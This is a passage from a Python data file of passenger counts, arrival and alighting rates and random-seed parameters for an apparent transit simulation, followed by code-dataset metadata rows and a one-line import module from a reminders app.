(107, 259, 190, 96, 49, 0, 203, 226, 162, 138, 63, 0), # 24
(112, 269, 196, 97, 50, 0, 209, 240, 169, 145, 65, 0), # 25
(119, 285, 201, 104, 52, 0, 216, 255, 175, 154, 69, 0), # 26
(123, 291, 210, 108, 55, 0, 219, 264, 178, 164, 71, 0), # 27
(127, 302, 220, 111, 55, 0, 229, 272, 190, 170, 72, 0), # 28
(131, 319, 230, 119, 58, 0, 240, 284, 201, 174, 72, 0), # 29
(134, 336, 241, 123, 62, 0, 245, 294, 206, 178, 77, 0), # 30
(138, 351, 253, 129, 66, 0, 249, 309, 211, 181, 78, 0), # 31
(141, 365, 261, 133, 69, 0, 254, 315, 214, 189, 80, 0), # 32
(143, 373, 269, 142, 70, 0, 257, 322, 221, 195, 85, 0), # 33
(146, 387, 282, 146, 72, 0, 262, 330, 226, 202, 88, 0), # 34
(155, 400, 287, 151, 74, 0, 265, 338, 236, 208, 90, 0), # 35
(161, 406, 290, 153, 77, 0, 276, 350, 243, 215, 95, 0), # 36
(162, 418, 298, 154, 82, 0, 286, 358, 248, 228, 97, 0), # 37
(166, 434, 307, 161, 85, 0, 291, 364, 253, 231, 105, 0), # 38
(172, 447, 321, 163, 91, 0, 297, 375, 259, 242, 108, 0), # 39
(177, 457, 332, 166, 94, 0, 302, 387, 264, 250, 110, 0), # 40
(183, 472, 340, 169, 98, 0, 310, 395, 268, 255, 117, 0), # 41
(189, 488, 352, 173, 101, 0, 314, 402, 276, 261, 119, 0), # 42
(195, 493, 358, 177, 104, 0, 316, 415, 280, 268, 122, 0), # 43
(202, 510, 363, 181, 106, 0, 322, 422, 290, 272, 129, 0), # 44
(210, 527, 375, 183, 111, 0, 327, 436, 298, 278, 131, 0), # 45
(219, 543, 384, 188, 116, 0, 329, 448, 305, 283, 135, 0), # 46
(227, 555, 395, 195, 122, 0, 335, 456, 311, 287, 137, 0), # 47
(233, 562, 402, 201, 123, 0, 342, 465, 317, 291, 139, 0), # 48
(240, 565, 422, 209, 124, 0, 348, 471, 321, 292, 142, 0), # 49
(246, 574, 429, 215, 128, 0, 355, 492, 322, 299, 145, 0), # 50
(249, 587, 434, 219, 130, 0, 361, 499, 327, 307, 147, 0), # 51
(257, 596, 447, 224, 131, 0, 366, 507, 330, 312, 150, 0), # 52
(264, 605, 455, 230, 132, 0, 371, 516, 340, 319, 153, 0), # 53
(267, 617, 461, 234, 133, 0, 379, 523, 345, 327, 154, 0), # 54
(276, 628, 477, 243, 135, 0, 384, 535, 352, 332, 157, 0), # 55
(282, 642, 487, 246, 138, 0, 393, 546, 357, 338, 163, 0), # 56
(284, 647, 491, 251, 141, 0, 397, 554, 366, 344, 167, 0), # 57
(290, 657, 495, 258, 141, 0, 407, 571, 372, 350, 167, 0), # 58
(290, 657, 495, 258, 141, 0, 407, 571, 372, 350, 167, 0), # 59
)
passenger_arriving_rate = (
(4.239442493415277, 8.699469696969697, 7.674466580976864, 4.055217391304347, 2.2857692307692306, 0.0, 7.610869565217392, 9.143076923076922, 6.082826086956521, 5.1163110539845755, 2.174867424242424, 0.0), # 0
(4.27923521607648, 8.796213246352414, 7.715918916023995, 4.077801207729468, 2.3029012820512818, 0.0, 7.608275422705315, 9.211605128205127, 6.116701811594203, 5.1439459440159965, 2.1990533115881035, 0.0), # 1
(4.318573563554774, 8.891521795735128, 7.7563873179091685, 4.099887922705314, 2.3196717948717946, 0.0, 7.60560193236715, 9.278687179487179, 6.1498318840579715, 5.170924878606112, 2.222880448933782, 0.0), # 2
(4.357424143985952, 8.9852925, 7.795842223650386, 4.121458695652173, 2.336065384615385, 0.0, 7.60284945652174, 9.34426153846154, 6.18218804347826, 5.197228149100257, 2.246323125, 0.0), # 3
(4.395753565505805, 9.07742251402918, 7.834254070265637, 4.142494685990338, 2.352066666666667, 0.0, 7.600018357487922, 9.408266666666668, 6.213742028985508, 5.222836046843758, 2.269355628507295, 0.0), # 4
(4.433528436250122, 9.167808992704828, 7.8715932947729215, 4.1629770531400965, 2.367660256410256, 0.0, 7.597108997584541, 9.470641025641024, 6.244465579710145, 5.247728863181948, 2.291952248176207, 0.0), # 5
(4.470715364354698, 9.25634909090909, 7.907830334190233, 4.182886956521739, 2.382830769230769, 0.0, 7.594121739130435, 9.531323076923076, 6.274330434782609, 5.271886889460156, 2.3140872727272725, 0.0), # 6
(4.507280957955322, 9.34293996352413, 7.942935625535561, 4.2022055555555555, 2.397562820512821, 0.0, 7.591056944444445, 9.590251282051284, 6.303308333333334, 5.295290417023708, 2.3357349908810323, 0.0), # 7
(4.543191825187787, 9.427478765432097, 7.976879605826908, 4.220914009661835, 2.4118410256410256, 0.0, 7.587914975845411, 9.647364102564103, 6.3313710144927535, 5.317919737217938, 2.3568696913580243, 0.0), # 8
(4.578414574187884, 9.509862651515151, 8.009632712082263, 4.23899347826087, 2.4256499999999996, 0.0, 7.584696195652175, 9.702599999999999, 6.358490217391305, 5.339755141388175, 2.377465662878788, 0.0), # 9
(4.612915813091406, 9.589988776655444, 8.041165381319622, 4.256425120772947, 2.438974358974359, 0.0, 7.581400966183574, 9.755897435897436, 6.384637681159421, 5.360776920879748, 2.397497194163861, 0.0), # 10
(4.646662150034143, 9.66775429573513, 8.071448050556983, 4.273190096618357, 2.4517987179487175, 0.0, 7.578029649758455, 9.80719487179487, 6.409785144927537, 5.380965367037988, 2.4169385739337823, 0.0), # 11
(4.679620193151888, 9.743056363636363, 8.100451156812339, 4.289269565217391, 2.4641076923076923, 0.0, 7.574582608695652, 9.85643076923077, 6.433904347826087, 5.400300771208226, 2.4357640909090907, 0.0), # 12
(4.71175655058043, 9.815792135241303, 8.128145137103683, 4.304644685990338, 2.475885897435898, 0.0, 7.5710602053140095, 9.903543589743592, 6.456967028985507, 5.418763424735789, 2.4539480338103257, 0.0), # 13
(4.743037830455566, 9.8858587654321, 8.154500428449014, 4.3192966183574875, 2.4871179487179482, 0.0, 7.567462801932367, 9.948471794871793, 6.478944927536231, 5.4363336189660085, 2.471464691358025, 0.0), # 14
(4.773430640913081, 9.953153409090907, 8.179487467866322, 4.33320652173913, 2.4977884615384616, 0.0, 7.563790760869566, 9.991153846153846, 6.499809782608695, 5.452991645244214, 2.488288352272727, 0.0), # 15
(4.802901590088772, 10.017573221099887, 8.203076692373608, 4.346355555555555, 2.507882051282051, 0.0, 7.560044444444445, 10.031528205128204, 6.519533333333333, 5.468717794915738, 2.504393305274972, 0.0), # 16
(4.831417286118428, 10.079015356341188, 8.22523853898886, 4.358724879227053, 2.517383333333333, 0.0, 7.556224214975846, 10.069533333333332, 6.538087318840581, 5.483492359325907, 2.519753839085297, 0.0), # 17
(4.8589443371378405, 10.13737696969697, 8.245943444730077, 4.370295652173914, 2.5262769230769235, 0.0, 7.552330434782609, 10.105107692307694, 6.55544347826087, 5.4972956298200515, 2.5343442424242424, 0.0), # 18
(4.8854493512828014, 10.192555216049382, 8.265161846615253, 4.381049033816424, 2.534547435897436, 0.0, 7.5483634661835755, 10.138189743589743, 6.571573550724637, 5.510107897743501, 2.5481388040123454, 0.0), # 19
(4.910898936689104, 10.244447250280581, 8.282864181662381, 4.3909661835748794, 2.542179487179487, 0.0, 7.544323671497584, 10.168717948717948, 6.58644927536232, 5.5219094544415865, 2.5611118125701453, 0.0), # 20
(4.935259701492538, 10.292950227272724, 8.299020886889462, 4.400028260869565, 2.5491576923076917, 0.0, 7.540211413043479, 10.196630769230767, 6.600042391304348, 5.53268059125964, 2.573237556818181, 0.0), # 21
(4.958498253828894, 10.337961301907969, 8.313602399314481, 4.408216425120773, 2.555466666666666, 0.0, 7.5360270531400975, 10.221866666666664, 6.6123246376811595, 5.542401599542987, 2.584490325476992, 0.0), # 22
(4.980581201833967, 10.379377629068463, 8.326579155955441, 4.415511835748792, 2.5610910256410255, 0.0, 7.531770954106282, 10.244364102564102, 6.623267753623189, 5.551052770636961, 2.5948444072671157, 0.0), # 23
(5.001475153643547, 10.417096363636363, 8.337921593830332, 4.421895652173912, 2.5660153846153846, 0.0, 7.52744347826087, 10.264061538461538, 6.632843478260869, 5.558614395886888, 2.6042740909090907, 0.0), # 24
(5.0211467173934246, 10.451014660493826, 8.347600149957156, 4.427349033816426, 2.5702243589743587, 0.0, 7.523044987922706, 10.280897435897435, 6.641023550724639, 5.565066766638103, 2.6127536651234564, 0.0), # 25
(5.039562501219393, 10.481029674523006, 8.355585261353898, 4.431853140096617, 2.5737025641025637, 0.0, 7.518575845410628, 10.294810256410255, 6.647779710144927, 5.570390174235932, 2.6202574186307515, 0.0), # 26
(5.056689113257243, 10.507038560606059, 8.361847365038559, 4.435389130434783, 2.5764346153846156, 0.0, 7.514036413043479, 10.305738461538462, 6.653083695652175, 5.574564910025706, 2.6267596401515148, 0.0), # 27
(5.072493161642767, 10.52893847362514, 8.366356898029135, 4.437938164251207, 2.578405128205128, 0.0, 7.509427053140097, 10.313620512820512, 6.656907246376812, 5.5775712653527565, 2.632234618406285, 0.0), # 28
(5.086941254511755, 10.546626568462402, 8.369084297343615, 4.439481400966184, 2.579598717948718, 0.0, 7.504748128019324, 10.318394871794872, 6.659222101449276, 5.57938953156241, 2.6366566421156006, 0.0), # 29
(5.1000000000000005, 10.56, 8.370000000000001, 4.44, 2.58, 0.0, 7.5, 10.32, 6.660000000000001, 5.58, 2.64, 0.0), # 30
(5.112219245524297, 10.571108863636361, 8.369313550724637, 4.439906339869282, 2.5798539716312057, 0.0, 7.4934020156588375, 10.319415886524823, 6.659859509803923, 5.579542367149758, 2.6427772159090903, 0.0), # 31
(5.124174680306906, 10.582070909090909, 8.367273623188405, 4.439627189542483, 2.5794190070921985, 0.0, 7.483239613526571, 10.317676028368794, 6.659440784313724, 5.578182415458937, 2.6455177272727273, 0.0), # 32
(5.135871675191815, 10.592884772727274, 8.363909347826088, 4.439165294117647, 2.5786997872340423, 0.0, 7.469612293853072, 10.314799148936169, 6.658747941176471, 5.575939565217392, 2.6482211931818185, 0.0), # 33
(5.147315601023018, 10.603549090909091, 8.359249855072465, 4.438523398692811, 2.5777009929078014, 0.0, 7.452619556888223, 10.310803971631206, 6.657785098039217, 5.572833236714976, 2.6508872727272728, 0.0), # 34
(5.158511828644501, 10.614062499999998, 8.353324275362318, 4.437704248366013, 2.576427304964539, 0.0, 7.432360902881893, 10.305709219858157, 6.65655637254902, 5.568882850241546, 2.6535156249999994, 0.0), # 35
(5.169465728900256, 10.624423636363638, 8.346161739130434, 4.436710588235294, 2.5748834042553193, 0.0, 7.408935832083959, 10.299533617021277, 6.655065882352941, 5.564107826086956, 2.6561059090909094, 0.0), # 36
(5.180182672634271, 10.634631136363637, 8.337791376811595, 4.435545163398693, 2.573073971631205, 0.0, 7.382443844744294, 10.29229588652482, 6.65331774509804, 5.558527584541062, 2.6586577840909094, 0.0), # 37
(5.190668030690537, 10.644683636363636, 8.32824231884058, 4.4342107189542475, 2.5710036879432625, 0.0, 7.352984441112776, 10.28401475177305, 6.651316078431372, 5.5521615458937195, 2.661170909090909, 0.0), # 38
(5.200927173913044, 10.654579772727272, 8.317543695652173, 4.43271, 2.568677234042553, 0.0, 7.32065712143928, 10.274708936170212, 6.649065, 5.545029130434782, 2.663644943181818, 0.0), # 39
(5.21096547314578, 10.664318181818182, 8.305724637681159, 4.431045751633987, 2.566099290780141, 0.0, 7.285561385973679, 10.264397163120565, 6.646568627450981, 5.537149758454106, 2.6660795454545454, 0.0), # 40
(5.220788299232737, 10.673897499999997, 8.29281427536232, 4.429220718954248, 2.563274539007092, 0.0, 7.247796734965852, 10.253098156028368, 6.643831078431373, 5.5285428502415455, 2.6684743749999993, 0.0), # 41
(5.230401023017903, 10.683316363636365, 8.278841739130435, 4.427237647058823, 2.560207659574468, 0.0, 7.207462668665667, 10.240830638297872, 6.640856470588235, 5.519227826086957, 2.6708290909090913, 0.0), # 42
(5.239809015345269, 10.692573409090908, 8.26383615942029, 4.4250992810457515, 2.556903333333333, 0.0, 7.164658687323005, 10.227613333333332, 6.637648921568627, 5.509224106280192, 2.673143352272727, 0.0), # 43
(5.249017647058824, 10.701667272727272, 8.247826666666667, 4.422808366013072, 2.5533662411347517, 0.0, 7.119484291187739, 10.213464964539007, 6.634212549019608, 5.498551111111111, 2.675416818181818, 0.0), # 44
(5.258032289002557, 10.71059659090909, 8.23084239130435, 4.420367647058823, 2.5496010638297872, 0.0, 7.072038980509745, 10.198404255319149, 6.630551470588235, 5.487228260869566, 2.6776491477272724, 0.0), # 45
(5.266858312020461, 10.71936, 8.212912463768117, 4.417779869281045, 2.5456124822695037, 0.0, 7.022422255538898, 10.182449929078015, 6.626669803921568, 5.475274975845411, 2.67984, 0.0), # 46
(5.275501086956522, 10.727956136363636, 8.194066014492753, 4.415047777777778, 2.5414051773049646, 0.0, 6.970733616525071, 10.165620709219858, 6.6225716666666665, 5.462710676328501, 2.681989034090909, 0.0), # 47
(5.283965984654732, 10.736383636363637, 8.174332173913044, 4.412174117647059, 2.536983829787234, 0.0, 6.9170725637181425, 10.147935319148935, 6.618261176470588, 5.449554782608695, 2.6840959090909093, 0.0), # 48
(5.292258375959079, 10.744641136363633, 8.15374007246377, 4.409161633986929, 2.5323531205673757, 0.0, 6.861538597367982, 10.129412482269503, 6.613742450980394, 5.435826714975845, 2.6861602840909082, 0.0), # 49
(5.300383631713555, 10.752727272727268, 8.13231884057971, 4.406013071895425, 2.527517730496454, 0.0, 6.804231217724471, 10.110070921985816, 6.6090196078431385, 5.421545893719807, 2.688181818181817, 0.0), # 50
(5.308347122762149, 10.760640681818181, 8.110097608695652, 4.4027311764705885, 2.5224823404255314, 0.0, 6.7452499250374816, 10.089929361702126, 6.604096764705883, 5.406731739130435, 2.6901601704545453, 0.0), # 51
(5.316154219948849, 10.768379999999999, 8.087105507246376, 4.399318692810457, 2.517251631205674, 0.0, 6.684694219556889, 10.069006524822695, 6.5989780392156865, 5.391403671497584, 2.6920949999999997, 0.0), # 52
(5.3238102941176475, 10.775943863636364, 8.063371666666667, 4.395778366013072, 2.5118302836879436, 0.0, 6.622663601532567, 10.047321134751774, 6.593667549019608, 5.375581111111111, 2.693985965909091, 0.0), # 53
(5.331320716112533, 10.783330909090907, 8.038925217391304, 4.392112941176471, 2.5062229787234043, 0.0, 6.559257571214393, 10.024891914893617, 6.5881694117647065, 5.359283478260869, 2.6958327272727267, 0.0), # 54
(5.338690856777493, 10.790539772727271, 8.013795289855072, 4.388325163398693, 2.5004343971631204, 0.0, 6.494575628852241, 10.001737588652482, 6.58248774509804, 5.342530193236715, 2.697634943181818, 0.0), # 55
(5.3459260869565215, 10.79756909090909, 7.988011014492754, 4.384417777777777, 2.494469219858156, 0.0, 6.428717274695986, 9.977876879432625, 6.576626666666667, 5.325340676328502, 2.6993922727272723, 0.0), # 56
(5.353031777493607, 10.804417500000001, 7.96160152173913, 4.380393529411765, 2.4883321276595742, 0.0, 6.361782008995502, 9.953328510638297, 6.570590294117648, 5.307734347826087, 2.7011043750000003, 0.0), # 57
(5.360013299232737, 10.811083636363634, 7.934595942028984, 4.376255163398692, 2.4820278014184396, 0.0, 6.293869332000667, 9.928111205673758, 6.564382745098039, 5.289730628019323, 2.7027709090909084, 0.0), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_allighting_rate = (
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 0
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 1
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 2
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 3
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 4
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 5
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 6
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 7
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 8
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 9
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 10
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 11
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 12
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 13
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 14
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 15
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 16
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 17
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 18
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 19
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 20
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 21
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 22
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 23
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 24
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 25
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 26
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 27
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 28
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 29
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 30
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 31
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 32
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 33
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 34
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 35
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 36
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 37
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 38
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 39
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 40
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 41
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 42
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 43
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 44
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 45
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 46
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 47
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 48
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 49
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 50
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 51
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 52
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 53
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 54
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 55
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 56
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 57
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 58
(0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1, 0, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 0.16666666666666666, 1), # 59
)
"""
parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html
"""
#initial entropy
entropy = 258194110137029475889902652135037600173
#index for seed sequence child
child_seed_index = (
1, # 0
59, # 1
)
| 113.680597 | 214 | 0.730483 | 5,147 | 38,083 | 5.402759 | 0.229065 | 0.310702 | 0.245972 | 0.466053 | 0.326956 | 0.326165 | 0.325734 | 0.325734 | 0.325734 | 0.325734 | 0 | 0.820072 | 0.118531 | 38,083 | 334 | 215 | 114.020958 | 0.008311 | 0.031799 | 0 | 0.202532 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.015823 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
a8e99d9e3d3f7521272b43952ea5d6df3b348baa | 77 | py | Python | remind/view/__init__.py | philFernandez/rmind | f75ca3a3887d7e903fcab8ef6a3a1d4d793a4321 | [
"MIT"
] | null | null | null | remind/view/__init__.py | philFernandez/rmind | f75ca3a3887d7e903fcab8ef6a3a1d4d793a4321 | [
"MIT"
] | 5 | 2021-04-03T07:46:02.000Z | 2021-04-16T09:08:21.000Z | remind/view/__init__.py | philFernandez/rmind | f75ca3a3887d7e903fcab8ef6a3a1d4d793a4321 | [
"MIT"
] | null | null | null | from .views import ListOfRemindersView, ListOfRemindersAndTagView, ViewUtils
| 38.5 | 76 | 0.883117 | 6 | 77 | 11.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077922 | 77 | 1 | 77 | 77 | 0.957746 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d11097b78abac67ea2e0a00dab925277c1bcf9b1 | 26 | py | Python | tools/catkin_ws/devel/lib/python3/dist-packages/tf/msg/__init__.py | yukke42/CenterPointTensorRT | c06ec5da881b4f44f22f9e4b67bebbd35b7d1ed3 | [
"MIT"
] | 68 | 2021-12-06T06:30:13.000Z | 2022-03-30T08:37:19.000Z | TrekBot2_WS/devel/.private/tf/lib/python3/dist-packages/tf/msg/__init__.py | Rafcin/TrekBot | d3dc63e6c16a040b16170f143556ef358018b7da | [
"Unlicense"
